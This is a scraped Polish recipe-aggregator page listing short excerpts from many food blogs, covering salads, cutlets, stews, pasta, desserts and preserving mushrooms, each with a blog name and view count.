wymieszać i odstawić na 15 minut. Smażyć na mocno rozgrzanym oleju, ale na średnim ogniu, z obu stron na złoty kolor. Ja do oleju dodałam odrobinę masła. Podałam z sosem śmietanowo- musztardowym z sokiem cytrynowym. Lekki i szybki obiad. Polecam Artykuł Kotleciki „paluszki” drobiowe w cieście kukurydzianym pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Sałatka ryżowa z tuńczykiem i selerem naciowym 291

dzisiejszy dzień. Na powitanie nowego miesiąca,mojego miesiąca,bo urodziłam się we wrześniu sałatka z ryżem. Lubicie ryżowe sałatki? Ja bardzo 😌 100 g ryżu parboiled Kupiec puszka tuńczyka w sosie własnym 4 łodygi selera naciowego 3 łyżki kukurydzy 3 łyżki majonezu sól i pieprz do smaku   Ugotowany ryż połączyć z posiekanym selerem, kukurydzą,tuńczykiem i majonezem. Przyprawić do smaku

Kolorowa kuchnia Elki
Placuszki bananowo-owsiane 198

spróbować!!! Składniki: Placuszki: 1 duży dojrzały banan 2 jajka 1 łyżka masła orzechowego 1/2 szklanki płatków owsianych 2-3 łyżki dowolnej mąki  szczypta soli olej kokosowy do smażenia Sos czekoladowy: 50 g masła 1 łyżka niesłodzonego kakao 1-2 łyżki cukru 3 łyżki mleka 3 łyżki likieru kokosowego (można pominąć) Przygotowanie: Placuszki: Banana obrać ze skórki i zgnieść widelcem

Malinowo w kuchni
Francuskie roladki z parówką i serem 179

którym parówki z serem się schowały i w roladki pozawijały. Takie krążki fajnie się odrywa i dzięki temu tych najmłodszych smakoszy   zdobywa. Można je z ketchupem lub sosem podawać,   na ciepło lub zimno zjadać.   Składniki: 1 opakowanie parówek z szynki, 1 opakowanie gotowego ciasta francuskiego ok. 375 g, 3 -4 garści startego sera żółtego   np. mozzarelli

Moniki Smakołyki
Francuskie ślimaczki z jabłkiem, orzechami i rodzynkami (Girelle di sfoglia con mele, noci e uvetta) 303

smakiem przypominają austriacki przysmak, bardzo popularny w sezonie jesienno-zimowym.  Ciasteczka s ą  niezwykle chrupiące, delikatne, pokryte skarmelizowanym cukrem. Smakują najlepiej ciep ł e podanem z sosem waniliowym lub tylko posypane cukrem pudrem. Polecam Wam serdecznie :) **** L'idea per la ricetta di oggi è nata qualche mese fa, quando ho postato sul blog la mia proposta

La grande e la piccola cuoca
Sałatka z wątróbką drobiową, soczystymi owocami i chrupiącym słonecznikiem 170

uprażyć na suchej patelni. 4. Wątróbkę drobiową umyć, osuszyć, pokroić na mniejsze części, obtoczyć w mące wymieszanej z przyprawą do kurczaka i usmażyć na rozgrzanym oleju. 5. Dressing: Składniki sosu dokładnie ze sobą wymieszać i wstawić do lodówki na około 30 minut żeby się przegryzły. 6. Na talerzu ułożyć roszponkę, wątróbkę drobiową, kiwi, pomarańcz, posypać słonecznikiem, pestkami granatu, wymieszać

Szalona Kuchnia Eweliny
Kotleciki brokułowe 148

bułce. Smażyć partiami  na oleju, ok 4 minut z jednej i 2 - 3 z drugiej strony. Po usmażeniu odsączyć z nadmiaru tłuszczu na ręczniku papierowym. Podawać z jogurtowym sosem. Smacznego

Stare Gary
Zrazy z karkówki 213

liść laurowy, ziele angielskie, posiekany ząbek czosnku i tymianek. Przykrywamy i dusimy około godziny, aż mięso będzie miękkie. Następnie gotujemy jeszcze 15 minut bez przykrycia, aby bulion odparował, a sos zgęstniał. 6 Podajemy z ulubionymi dodatkami - najlepiej smakują z ziemniakami lub kaszą.   Artykuł Zrazy z karkówki pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Kluseczki twarogowo kukurydziane z sosem borówkowym 153

Pyszne kluseczki z twarogu i mąki kukurydzianej. Obiad na słodko – rewelacja! Ciepłe polane sosem borówkowym stworzyły pyszny obiad. Możemy użyć dowolne owoce. Jest to też idealny pomysł na obiad dla najmłodszych. 125 g chudego twarogu 1 jajko 1 łyżka miodu 2 łyżki mąki kukurydzianej 0,5 szklanki borówek 3 łyżki jogurtu naturalnego gęstego Do miski przekładamy twaróg, wbijamy jajko. Wlewamy

VioletoweKucharzenie
Jaglany torcik z jabłkami 137

Wyrównujemy i ponownie umieszczamy tortownicę w piekarniku. Zmniejszamy temperaturę do 160C i pieczemy przez 1h15min. Ciasto studzimy w uchylonym piekarniku. Dekorujemy dowolnie. Moje ciasto zostało z wierzchu delikatnie polane sosem karmelowym i ozdobione cukrowymi kuleczkami i motylkami, a także mlecznymi drażami. Smacznego! Artykuł Jaglany torcik z jabłkami pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Curry z kurczaka po jamajsku 171

lekko zbrązowieje dodać kurczaka i chwilę przesmażyć. Dodać koncentrat pomidorowy, obrane i pokrojone na mniejsze kawałki ziemniaki, mleko kokosowe i sól. Wszystko dokładnie wymieszać, przykryć i zagotować. Gdy sos się zagotuje, zmniejszyć gaz, uchylić pokrywkę i powoli gotować do czasu aż ziemniaki będą miękkie,   od czasu do czasu mieszać. Pod koniec gotowania ewentualnie doprawić solą i sokiem z cytryny

Codzienne Gotowanie
Deser bananowy z kajmakiem 267

posypać resztą herbatników. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Deser orzechowo – karmelowy → Jaglanka z masłem orzechowym i karmelizowanym bananem → Naleśniki z bananami, serkiem mascarpone i sosem karmelowym → Deser z czereśniami i kardamonem → Deser z mango i mascarpone

Oryginalny smak
Naleśniki zapiekane z serem 136

zawsze jeśli to były naleśniki na słodko to zwyczajnie po usmażeniu każdy nadziewał je sobie czym chciał. Tym razem skorzystałam z rady koleżanki i zapiekłam je pod śmietanowym sosem. Oj wyszły pyszne. Już nigdy nie zrobię inaczej i wam też polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Schab na plackach ziemniaczanych z sosem kurkowym 170

solą. Na patelnię wlewamy oliwę i smażymy placki ziemniaczane. Wykładamy na ręcznik papierowy i odsączany z nadmiaru tłuszczu. Gdy mięso jest już miękkie-wykładamy je na palcek i polewamy sosem, dekorujemy koperkiem

Kopystką po garach
Kurczak z dynią 319

Zapraszam po fantastyczny pomysł na obiad.  Kurczak z dynią..  Pierś lub polędwiczka smażona z porem i szczyptą cynamonu oraz pyszna dynia w sosie śmietanowym. Tak bogaty smak zamknięty tylko w kilku składnikach! Kurczak z dynią smakuje świetnie podany z makaronem, ryżem lub tak jak u mnie, z kaszą pęczak. Jeśli lubisz dynię w przepisach na słono, to polecam

AniaGotuje.pl
Aromatyczny boczek pieczony w rękawie z płatkami czosnku 135

pieczeniu w rękawie - bardzo mięciutkie. Naprawdę ciężko mu się oprzeć, tym bardziej, jeśli lubicie takie wysokokaloryczne, mięsne przysmaki. Polecam!   1-1,2 kg boczku wieprzowego Marynata: 2 łyżki sosu sojowego 2 liście laurowe 2 łyżki majeranku (płaskie) 1 łyżeczka papryki słodkiej  1 łyżeczka papryki ostrej 1 łyżeczka soli  Dodatkowo: czosnek suszony w płatkach (czym więcej tym lepiej

Di gotuje
Strogonow 193

pochodzi od dania Boeuf Stroganow. Pierwsza część nazwy po francusku oznacza wołowinę natomiast część druga pochodzi od nazwiska rosyjskiego generała. Strogonow Oryginalnie strogonow to polędwica smażona i podawana z sosem. Jako dodatki używane są do niej pieczarki, cebula czy ogórki kiszone. Całość podbita jest mąka oraz przecierem pomidorowym. Mój przepis na strogonowa jest nieco bardziej rozbudowany, gdyż poza podstawowymi składnikami

mecooks
Sałatka z buraków, batatów, jarmużu i migdałów z chrupkami z kaszy gryczanej 158

dynie. Będzie równie pysznie! W tej sałatce zdecydowanie najlepszy jest dodatek prażonej kaszy gryczanej, która rewelacyjnie chrupie. Sałatkę podaję tym razem z odrobiną octu balsamicznego, ale równie mocno polecam sos sezamowy z tego przepisu . * SKŁADNIKI na 4 porcje 2 duże buraki 2 duże bataty 300 g jarmużu 100 g migdałów 200 g kaszy gryczanej ocet balsamiczny olej kokosowy sól morska

Food Square
Menu na tydzień: Coś gorącego na chłodną jesień 408

makaronowe, żółtawe i podłużne, które po upieczeniu można podzielić widelcem na żółte, piękne makaroniki. Po prostu czary:) Prawdziwa magia zaczyna się w momencie, kiedy dyniowy makaron zostaje zapieczony z sosem bolognese! Wtorek: Krem z pieczonej cieciorki i kalafiora Kalafior jest krewnym kapusty i rzeczywiście pokrewieństwo można łatwo wyczuć podczas gotowania:) Upieczony kalafior pachnie znacznie subtelniej, a smakuje… orzechami. Orzechowy

Niedzielny kucharz
Domowa zupa grzybowa ze świeżymi podgrzybkami 249

Polsce, masowo wyrosły piękne podgrzybki. Warto jeszcze wybrać się na grzybobranie i ich poszukać. Polecam lasy sosnowe, z mszystym poszyciem, bo tam najchętniej rosną. Z podgrzybków można zrobić pyszny sos grzybowy - zobacz przepis! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Sałatka z pomidorami i chlebem według mistrzyni z Izraela 198

Znalazłam przepis na to cudo u Gosi z Akacjowego Bloga . Do złudzenia przypominała mi ta sałatka panzanellę ale nie do końca, dodatek sosu z tahini robi tutaj największą robotę. Dopóki jeszcze znajdziecie dobre pomidory zróbcie ją koniecznie, jest obłędna smakowo, cały bukiet aromatów. Sałatkę przyrządziła dziewczyna która wygrała MasterChef Israel 2014. Pomidorowa sałatka z chlebem po izraelsku. ROZWIŃ I CZYTAJ

Moje Małe Czarowanie
boeuf stroganow 259

czerwonego wina. Zredukować. Dodać wodę, przynajmniej dwie solidne łyżki musztardy i słoik 200g przecieru pomidorowego. Dobrze rozmieszać. Dusić pod przykryciem. Po jakimś czasie dodać kubek śmietany, rozmieszać. Dusić, aż sos się zredukuje. Podawać

stajnia gołębie od kuchni
Domowy makaron z mąki z ciecierzycy (bezglutenowy) 238

bazie mąki z ciecierzycy to ciekawa alternatywa dla tego pszennego, a także ratunek dla osób z alergiami. Jest bogaty w białko, dlatego w połączeniu z pesto lub dowolnym sosem może stanowić pełnowartościowy posiłek. W strukturze jest trochę inny niż makaron zawierający gluten, nam jednak bardzo smakował, szczególnie z pastą z pieczonej papryki, posypany natką pietruszki. Składniki na 4 porcje

Fabryka pomysłów
Domowy przecier pomidorowy z czosnkiem i ziołami 139

zapasteryzować. W tym celu, w większym garnku umieszczamy nasze butelki lub słoiki, wypełniamy go wodą do 2/3 ich wysokości i gotujemy na niewielkim ogniu przez około 10 minut. Domowy sos pomidorowy z czosnkiem i ziołami - czyli moja propozycja na zamknięcie odrobiny lata na dłużej. [foodiepress] [hide]   [/hide] Artykuł Domowy przecier pomidorowy z czosnkiem i ziołami pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
ROLKI ZAPIEKANE Z TUŃCZYKIEM 186

idzie " brak nagłych pomysłów na poczęstunek". Super pomysłem są moje rolki :) Robi się je bardzo szybko , wystarczy tortilla , tuńczyk , ser i mamy pyszną przekąskę . Idealnie pasuje z sosem majonezowym lub pomidorowym. Zapraszam do polubienia mojej strony na FB https://www.facebook.com/gotowaniepatki/ oraz śledzenia na Instagramie https://www.instagram.com/ gotowaniepatki/ ,oraz odwiedzenia mojego Bloga -- https:// gotowaniepatki.blogspot.com / będzie mi bardzo miło SKŁADNIKI

Gotowanie Patki
Awokado zapiekane w boczku - pyszna przekąska, którą przygotujesz w kilka minut 165

posmaruj lekko oliwą lub olejem. Aby boczek nie rozwijał się w trakcie pieczenia, należy cząstki awokado układać końcówką boczku do spodu. Podawaj z chrupiącym pieczywem i pikantnym ketchupem lub sosem jogurtowym. Jeśli lubisz dania z awokado, to spróbuj także i tego: Twarożek z awokado, pomidorem i papryką Sałatka z awokado i tuńczyka - idealna na kanapki Tosty z czosnkową pastą

Codzienna kuchnia niecodzienna
Pieczony kalafior z masłem anchois i czosnkiem 379

push({}); To też może Cię zainteresować: → Pieczona marchewka z rozmarynem → Pieczona brukselka → Pieczona kapusta → Pieczona kukurydza z masłem, czosnkiem niedźwiedzim i chili → Sałatka z pieczonym kalafiorem, daktylami, miętą i sosem jogurtowo-szafranowym

Oryginalny smak
Kluski z kaszy jaglanej, sera i ziemniaków z masłem rozmarynowym 143

mąki tyle, aby ciasto było zwięzłe, miało konsystencję ciasta na kopytka. Jeśli decydujecie się na wariant na słodko, dodajcie do ciasta odrobinę cukru waniliowego. Możecie polać je potem śmietaną, sosem owocowym czy też zrumienioną bułką tartą. A u mnie kluski polane zostały masłem wymieszanym z oliwą i podgrzewanym z rozmarynem – kilka jego gałązek przywiozłam ostatnio z działki i lekko

Mieszam w Garnku
KOTLETY Z RYŻU I FASOLI 145

skórką i miękkim środkiem. Doprawione dużą ilością świeżych ziół: natką pietruszki, koperkiem i szczypiorkiem.  Sprawdzą się na wege obiad, lunch do pracy lub jako dodatek do mięs i sosów, np. gulaszy. Dobrze smakują z jogurtem naturalnym wymieszanym ze startym czosnkiem i posiekaną miętą. Masa jest zwarta i kleista, nie wymaga dodawania jajka ani mąki. Kotlety świetnie się formują

cool and minty
Kalafior zapiekany z sosem czosnkowym na zielono 173

zajadałam go jako samodzielne danie ale można dla większych głodomorów podać jako dodatek do mięsa na obiad. Tak czy tak smakuje wybornie i polecam gorąco. Zielony kalafior zapiekany z sosem czosnkowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
¡Feliz cumpleaños! 148

język. Tapasowa uczta Zwieńczeniem tego cudownego dnia była wspólna kolacja w uroczej restauracji L’ancora (Carrer de Josep Benlliure 111). Zamówiliśmy tam szereg przepysznych tapasów: dorsza w serowym sosie z pietruszką (bacalao con crema de queso y perejil), smażone krokiety rybne ( albóndigas de bacalao), tradycyjną tortillę (tortilla de blanquet), krewetki na plastrach cytryny (gamba rayada) oraz grillowane warzywa (verduras

Gotuj po hiszpańsku
Tanecznym krokiem Hiszpanii… 158

kilometr. Salsa Wieczorki salsowe są tu również bardzo popularne. Wszyscy chętni uczą się kroków do bardzo energicznego tańca jakim jest salsa. Salsa to słowo po hiszpańsku oznaczające smak lub sos, co sugeruje pikantne i aromatyczne doznania. W odniesieniu do tańca jak i muzyki można połączyć z faktem, że salsa w warstwie muzycznej łączy elementy różnych gatunków muzycznych, a w tanecznej

Gotuj po hiszpańsku
DANIE CHIŃSKIE Z KURCZAKIEM 177

pozostałe warzywa i obsmażyć ok 4-5 min.  Danie doprawić przeciśniętym przez praskę czosnkiem, tymiankiem oraz solą i pieprzem. Dodać pomidory z puszki i całość dokładnie wymieszać. Gdy sos zacznie wrzeć danie jest gotowe. Warzywa mają być takie al dente. Rozgotowane tracą już swój smak. Całość można podać z brązowym ryżem,jednak ja zdecydowanie uwielbiam same warzywa z piersią

Niespełnione zdolności kulinarne
Jajecznica z pomidorem 205

Jajecznica z pomidorem to klasyczne połączenie szynki, cebuli, jajek z pomidorem. Bardzo szybka i prosta w przygotowaniu. Przepis oraz listę potrzebnych składników przedstawiam poniżej. Składniki 1

Kulinarnyblog.pl - wiesz jak gotować!
Szakszuka 299

Przepis na szakszułkę Na patelni rozgrzej oliwę z oliwek. Następnie dodaj pokrojoną w kostkę cebulę i czosnek Dodaj passatę, sól, pieprz i miód, który złagodzi gorycz z pomidorów. Gdy sos zgęstnieje wbij trzy jajka, smaż na małym ogniu pod przykryciem. Smaż do momentu aż białko się zetnie a żółtko pozostanie płynne. Podawaj z chlebem i posypanym oregano . Smacznego! Artykuł Szakszuka

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka śledziowa z papryką 206

morza jest niemalże niekończąca się. Do przygotowania ryb smażonych wybieram głównie dorsza, solę, mintaja czy doradę. Jeśli grilluję czy zapiekam ryby to sięgam po tuńczyka, łososia lub halibuta. Do sosów z makaronem wybieram krewetki i małże. A do pasty wykorzystuję makrelę lub wędzonego łososia. Do sałatek używam tuńczyka w puszce i oczywiście śledzi w oleju. Nie lubię śledzi w occie

mecooks
Potrawka z kurczakiem i pieczarkami 127

smażymy na oleju do zrumienienia, pod koniec smażenia dodajemy listki rozmarynu. Masło rozpuszczamy w garnku, dodajemy mąkę, dokładnie mieszamy, chwilę smażymy. Dolewamy zimny rosół, znowu dokładnie mieszamy, zagotowujemy. Do sosu wrzucamy pieczarki, mięso z podudzi, sok z cytryny, śmietanę, cukier, sól i świeżo mielony pieprz, chwilę gotujemy. My potrawkę jedliśmy z ryżem i mizerią

Kardamonovy
Spaghetti alla carbonara z dynią i boczkiem (Spaghetti alla carbonara con zucca e pancetta) 189

Nowa wersja tradycyjnej włoskiej potrawy, spaghetti alla carbonara z boczkiem oraz kremowym sosem jajeczno-śmietanowym, wzbogacona o dyni ę. Prosty przepis na danie obiadowe, które przygotowuje si ę  w mgnieniu oka; polecam Wam serdecznie :) **** Oggi vorrei condividere con Voi una variante di un piatto tipico della tradizione italiana: in altre parole vorrei presentarVi gli spaghetti alla carbonara

La grande e la piccola cuoca
Sałatka z mozzarellą 328

Lekka, pyszna, świeża i niezwykle kolorowa sałatka z serem mozzarella . Gotowa do zjedzenia w ciągu kilku minut! Moja ulubiona sałatka z mozzarellą, którą wystarczy polać sosem winegret na bazie musztardy. Sałatkę z mozzarellą można zrobić również tylko z miksem sałat lub szpinak zastąpić rukolą albo roszponką. Nawet sama sałata lodowa lub świetna i krucha sałata rzymska wystarczy jako zielony składnik

AniaGotuje.pl
Jajko, czyli znakomite przepisy z jajkiem w roli głównej - recenzja 161

prostych oraz jednocześnie niebanalnych przepisów z jajkiem w roli głównej. "W szklance, na miękko i w koszulce. Do śniadania, obiadu, a nawet na podwieczorek. Bez niego nie ma gęstych sosów i puszystych biszkoptów. Jajko to podstawa w kuchni. Wiedzą o tym nawet wegańscy terroryści, którzy nieudolnie próbują je odtworzyć z tajemniczych mieszanek z siemienia lnianego."      Książka została

Di gotuje
Zakupy dietetyka – oceniamy produkty #1 230

podobieństwo do makaronu ryżowego fajnie sprawdzi się w daniu azjatyckim. Sam w sobie nie ma żadnego smaku, dlatego warto użyć aromatycznych, intensywnych przypraw/sosów. Na zdjęciu w zestawieniu z sosem teriyaki, masłem orzechowym, sezamem, kurczakiem i papryką – bardzo dobre. Plusy: brak kalorii (to może być też jednocześnie minus)  brak glutenu (niestety na opakowaniu nie ma licencjonowanego znaku przekreślonego

Powiedz dietom nie
3 proste zupy krem, które rozgrzeją Cię jesienią 164

oliwie będziecie mogli cieszyć się jej wyszukanym smakiem. Bardzo dobrze łączy się z jajkami (można nią polać jajecznicę czy omlet), daniami z ziemniaków, dodajemy ją też do makronów (z sosami z dodatkiem śmietany), carpaccio wołowego i pieczeni. Ma intensywny smak, dlatego wystarczy jej niedużą ilością polać gotową potrawę (na oliwie truflowej nie smażymy). Jesienne zupy krem - 3 przepisy Zupa krem

Chilli Czosnek i Oliwa
Potrawka z kurczaka i chorizo z wolnowara 228

oregano i zioła prowansalskie. Wszystko dokładnie wymieszać. Przykryć i gotować 3-4 godziny na HIGH lub 6-8 na LOW. Gdy potrawka będzie ugotowana, ewentualnie doprawić do smaku. Jeżeli sos będzie za rzadki, można go nieco odparować pozostawiając włączony wolnowar, ale ze zdjętą pokrywką, lub zagęścić go tradycyjnie mąką ziemniaczaną.  Potrawkę z kurczaka podawać z ulubionym pieczywem, ryżem

Codzienne Gotowanie
Szakszuka z kurczakiem 191

patelnię. Dusimy kilka minut i dodajemy pokrojone pomidory i przyprawy. Dusimy pod przykryciem aż papryka zmięknie. Mięso z kurczaka oddzielamy od kości, kroimy drobno i dodajemy do duszącego się sosu. Na koniec wybijamy jajka i przykrywamy - dusimy do momentu, aż białka się zetną

Gotowanie jest łatwe
Śledzie z porem w śmietanie 195

paski, z pora odciskamy sok a jajka i obrane jabłko kroimy w drobną kostkę. Śmietanę mieszamy z majonezem i sokiem z cytryny.  Wszystkie składniki mieszamy ze sobą, polewamy sosem śmietanowym i doprawiamy solą i pieprzem. Śledzie odstawiamy do lodówki na kilka godzin do lodówki aby składniki przeszły swoimi smakami

Qchnia po prostu
Daktylowy omlet z gruszką :) 240

przez to też omlet nie jest kompletnie suchy, także śmiało można go jeść bez "wierzchnich" dodatków, choć w tym przypadku ja pokusiłam się i dodałam mój ostatnio ulubiony sos na bazie masła z orzechowy nerkowca. Taki omlet wpisuje się idealnie na jesienne śniadanie.  Składniki: 30 g płatków owsianych (Big Nature) 30 g płatków jaglanych (Big Nature) 20 g daktyli

Zdrowie na języku :P
Zapiekanka ziemniaczana z białą kiełbasą 186

Zapiekanka ziemniaczana z białą kiełbasą i sosem chrzanowym to pyszny pomysł na domowy obiad dla całej rodziny. Jest niezwykle smaczna, sycąca i aromatyczna. Robi się ją błyskawicznie i równie szybko znika z talerzy. Zapiekankę podajemy na ciepło z ulubioną surówką - taka z buraczków będzie pasować idealnie. W Polsce przyjęło się, że białą kiełbasę spożywamy jedynie w okolicach Wielkanocy i zapominamy

e-PrzepisyKulinarne
Jesiennie, zdrowo i cukiniowo, czyli delikatne placki z cukinii 173

jesienną ucztę Agata dostała od naszego dziadka ostatnie pewnie w tym roku cukinie i postanowiła wykorzystać je w swojej kuchni. Przygotowała delikatne placuszki cukiniowe, do których podaje rozmaite sosy (czosnkowy, jogurtowy, koperkowy). Danie jest przepyszne i znika błyskawicznie z talerzy, więc lepiej do razu zrobić je z podwójnej porcji. Do placków Agata podała własną herbatkę rumiankową. Smacznie i zdrowo. Delikatne

KulinarneImpresje.pl
Polędwiczki wieprzowe w sosie z jabłkami i cynamonem 207

Magda Pyszne i soczyste mięso duszone w kremowym, słodkawym sosie z jabłkami i nutą cynamonu to idealny jesienny przepis. Z takim przepisem podbijecie serca domowników albo gości – jest to zarazem prosty przepis na niecodzienny obiad lub propozycja na wyrafinowaną kolacje we dwojga lub w większym gronie. Składniki (na 2 porcje): 500g polędwicy wołowej 2 duże jabłka 3 cebulki szalotki

Smaczna Strona
Filet z mintaja 271

Bardzo uniwersalny przepis na polędwiczkę lub filet z mintaja smażony i duszony chwilę w kremowym, słodko kwaśnym sosie maślanym z mleczkiem kokosowym. Filet z mintaja polecam podawać z makaronem lub ryżem. Jeśli lubisz ryby, to zapraszam też po kilka innych sprawdzonych przepisów. Łosoś smażony lub  ryba po grecku  to jedne z popularniejszych dań rybnych

AniaGotuje.pl
Domowa carbonara wg Aleex 161

się gotował. 6. Dodać wytopiony boczek z czosnkiem i tłuszczem (lub jego częścią, jeśli wytopiło się go dużo). Wymieszać. 7. Szybko wlać mieszaninę jajek i śmietanki, energicznie wymieszać. Jeśli sos będzie za rzadki, postawić garnek na małym ogniu i podgrzewać do zgęstnienia cały czas mieszając. 8. Podawać od razu, posypując porcje pozostałym startym parmezanem. Smacznego

W mojej kuchni
Florenckie kluski szpinakowe z pomidorowym sosem 148

aromatyczny i ładny. Znalazłam kluski u Mirabelki i zauroczyły mnie a ponieważ uwielbiam szpinak, musiałam je wypróbować. Włoskie przepisy zawsze próbuję i jeszcze się nie zawiodłam. Kluski szpinakowe i sos pomidorowy. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kotlety z udźca indyka 190

stron na złoty kolor. Na smalcu wychodzą bardziej chrupiące . Odsączamy z nadmiaru tłuszczu na papierowym ręczniku i podajemy na gorąco . Na zimno doskonale smakują na kanapkach z sosem majonezowym i korniszonem Smacznego ! Artykuł Kotlety z udźca indyka pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Ryba w lekkim sosie koperkowym 235

pieczarek 1/2 pora 2 łyżki posiekanego koperku 1/2 szklanki białego wina 1/2 szklanki mleka 1 łyżeczka mąki ziemniaczanej przyprawa do ryb … Czytaj dalej Ryba w lekkim sosie koperkowym

czarrna od kuchni
Gulasz z podrobów 181

się podroby i dusimy jeszcze kilka minut. W szklance rozrabiamy skrobię z tapioki lub jej zamiennik z zimną wodą tak by powstała zawiesina, którą wlewamy na patelnie. Mieszamy aż sos zgęstnieje. Gulasz serwujemy natychmiast z ulubionymi dodatkami (u mnie tym razem niepalona kasza gryczana i domowa kapusta kiszona). The post Gulasz z podrobów appeared first on Oslov

Oslov.
Meksykańskie nuggetsy 226

nuggetsy z batatów i mielonego mięsa to ciekawa propozycja na imprezę jako tzw. finger food. Wystarczy zrobić je trochę mniejsze i wbić w nie wykałaczki i podać z ulubionymi sosami. Dodatkowo dobrze się mrożą. Alternatywa dla tradycyjnych mielonych. 250 g Mielonego mięsa z kurczaka lub indyka 1 Średni batat 1 Mała czerwona cebula Natka kolendry 2 Ząbki czosnku 1 łyżeczka

Oslov.
Pulpeciki z czosnkiem i rozmarynem 163

food, który pokocha cała rodzina. 500 g Mięsa mielonego (u mnie wołowo-wieprzowe, jeszcze lepiej nada się jagnięcina) 1,5 Główki czosnku (1 cała plus 6 ząbków) 1 tbsp Sosu Worcestershire (pomiń jeśli stricte Paleo) 1 Mała cebula 1 tbsp Mąki z migdałów lub migdałów ziemnych (lub bułki tartej jeśli spożywasz gluten) 1 Jajko Gałązki świeżego rozmarynu Sól i pieprz

Oslov.
Grillowany Schab z kością 187

stojącego w piwnicy lub na balkonie. Ale nie martwcie się, danie to z powodzeniem przygotujecie też w piekarniku czy na patelni grillowej. 1 kg Schabu z kością 1/4 szklanki Sosu sojowego lub aminokwasów kokosowych (jeśli Paleo) 1/4 szklanki Soku z limonki 3 łyżki Oliwy z oliwek 1 łyżeczka Mielonego kuminu 1 łyżeczka Suszonego oregano 1 Mała cebula 1 łyżeczka Koncentratu

Oslov.
Surówka z pora 166

smażonych mięs, szczególnie drobiu. Surówka z pora z dodatkiem jabłek wzbogacona smakiem prawdziwego i pysznego majonezu. Wspaniała do obiadu lub dań z grilla. Podałam ją do smażonego kurczaka w sosie ze słodkiej śmietanki i pieczonych ziemniaków. Obiad w tygodniu idealny! SMACZNEGO Składniki: 2 spore pory, tylko jasna część 3 duże jabłka 4 większe łyżki majonezu sól, świeżo zmielony pieprz oraz

Zasmakuj Kuchni
Makaron w sosie z warzywami i kurczakiem 258

filet z kurczaka 100 g szpinaku 1/2 czerwonej papryki 200 g pieczarek 2 cebule 1 łyżeczka pasty z ostrych papryczek sól, pieprz przyprawa do … Czytaj dalej Makaron w sosie z warzywami i kurczakiem

czarrna od kuchni
golonka z sosem, na sposób hiszpański​ 247

zalać wodą tak, żeby mięso były całkiem zakryte. Dodać liście laurowe i dusić, aż mięso samo będzie odchodziło od kości (minimum 2 godziny). Mięso wyjąć, warzywa zblendować na gęsty sos. Polać golonki, podawać

stajnia gołębie od kuchni
Grzyby do słoików na zimę w słonej zalewie zamiast mrożenia 437

Witam serdecznie Pokażę jak można przygotować i przechować grzyby leśne na zimę, jeżeli nie mamy dużej zamrażarki. A chcielibyśmy po za sezonem przygotować zupę grzybową lub sos z grzybów i to nie koniecznie z suszonych grzybów. Do przygotowania grzybów będziemy potrzebowali: około 1 kg grzybów leśnych (prawdziwki, podgrzybki, kozaki itp..) do obgotowania grzybów: 2 L wody 2 łyżki soli (zwykłej

Uwaga Babcia Gotuje
Tortilla z czarnym czosnkiem 185

przeciśniętym przez praskę czosnkiem, doprawiamy solą i pieprzem. Ogórka obieramy i wraz z papryką kroimy w kawałki. Tortille podgrzewamy i na każdą kładziemy po trochę każdego ze składników, polewamy sosem czosnkowym i zwijamy

Zainspirowana w kuchni
Sałatka z brokułem i chrupiącym boczkiem 361

Smaczna i szybka sałatka z brokułem, serem feta, chrupiącym boczkiem i pestkami słonecznika. Całość doprawiona pysznym sosem czosnkowym! Zapraszam! Składniki: 500 g brokuła150 g boczku parzonego w plastrach100 g sera feta2 garści pestek słonecznikaduża łyżka majonezuduża łyżka jogurtu naturalnego1 ząbek czosnkupieprzPrzygotowanie: Brokuły dzielimy na różyczki, wrzucamy do garnka z wodą

Krokusowy Dom
Jak zrobić włoską piadinę? Piadiny z ricottą, figami, prosciutto i rukolą 172

serek u nas trudno dostępny, można zastąpić ricottą lub kremowym serkiem do smarowania), szynki prosicutto i rukoli. A oto inne smakowite pomysły na to, z czym podać włoską piadinę: sos pomidorowy, mozzarella, salami, rukola kremowy kozi serek, plasterki gruszki, szpinak, miód kremowy kozi serek, grillowana lub pieczona papryka/cukinia, bazylia ser stracchino, mortadela, rukola, starty parmezan bresaola, rukola, wiórki parmezanu, odrobina

Chilli Czosnek i Oliwa
Pyszne drożdżowo-kruche pieczone pierogi z mięsem z rosołu, bez wyrastania 325

mięsa traktujcie czysto umownie, dodajcie takie mięsko, jakie akurat macie. Podobnie ilość dodanych warzyw – często różne gospodynie dodają inną ilość warzyw do rosołu. Pierogi świetnie również smakują z sosem np. tysiąca wysp . Ja czasem robię z podwójnej porcji i połowę jemy teraz, a połowę zamrażam. Z tego ciasta, można również zrobić doskonałe wigilijne paszteciki do barszczu. Przepis otrzymałam

Mieszam w Garnku
Makaron z mięsem mielonym z patelni 165

Pyszne, znane danie, przygotowane w nieco inny sposób. O czym mowa? O makaronie z sosem bolońskim, bo z tym daniem kojarzy mi się ten makaron. Plus jest taki, że całość do wykonania na jednej patelni w mniej niż godzinę:) około 800g – 1 kg mielonej łopatki wieprzowej około 300 g makaronu np świderki 2 średniej wielkości cebule 2-3 ząbki

Smaki Na Talerzu
Karmelizowane orzechy w 5 minut – kruche i pachnące 324

ponad 4kg już przytachaliśmy do domu, kolejne 4kg powoli zaczyna spadać. Będzie ich bardzo dużo – część rozdałam, część na pewno wysuszę i będę ich używać w różnych formach – jako sos do makaronu (przepis dla Was niebawem!), dodatek do ciast, sałatek, panierki, porannej owsianki, ale i w takiej, zgubnie słodkiej wersji – do pochrupania z książką przed kominkiem. Do zrobienia karmelizowanych orzechów

Karo in the Kitchen
Curry dyniowo-kalafiorowe z kurczakiem 205

